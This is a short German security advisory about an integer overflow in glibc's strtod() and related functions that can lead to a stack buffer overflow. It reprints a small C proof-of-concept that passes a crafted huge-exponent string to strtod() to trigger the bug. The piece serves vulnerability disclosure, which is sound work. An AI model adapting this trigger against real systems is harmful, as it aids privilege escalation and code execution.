Glibc: Integer-Overflow in "strtod()"-Implementierung

Eine Sicherheitslücke in der Glibc-Bibliothek hat zur Folge, dass ein lokaler Angreifer höhere Berechtigungen erschleichen kann.

Die Implementierung der Funktion “strtod()” enthält einen Integer Overflow. Dies betrifft auch die verwandten Funktionen “strtof()”, “strtold()” und “strtod_l()”. All diese Funktionen sind verschiedene Varianten, um einen Ascii-String in eine C-Zahlentyp (float, double oder long) umzuwandeln. Der nun entdeckte Integer-Overflow lässt sich von einem Angreifer ausnutzen, um einen Stack Buffer Overflow zu provozieren. Damit ist er in der Lage, Befehle mit den Rechten der Applikation auszuführen.

Diese Schwachstelle wurde am 12. August von Joseph Myers gemeldet, der auch folgenden Proof-of-Concept-Exploit veröffentlichte:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define EXPONENT "e-2147483649"
#define SIZE 214748364
int main (void)
{ char *p = malloc (1 + SIZE + sizeof (EXPONENT)); if (p == NULL) { perror ("malloc"); exit (EXIT_FAILURE); } p[0] = '1'; memset (p + 1, '0', SIZE); memcpy (p + 1 + SIZE, EXPONENT, sizeof (EXPONENT)); double d = strtod (p, NULL); printf ("%a\n", d); exit (EXIT_SUCCESS);
}

Die Funktion “strtod()” wird hier auf einen speziell präparierten String angewendet, der so beschaffen ist, dass er den Integer Overflow auslöst. Der String repräsentiert dabei eine extreme Zahl mit dem Exponenten -2147483649, was zu dem Problem beim “strtod()”-Aufruf führt.

Nach oben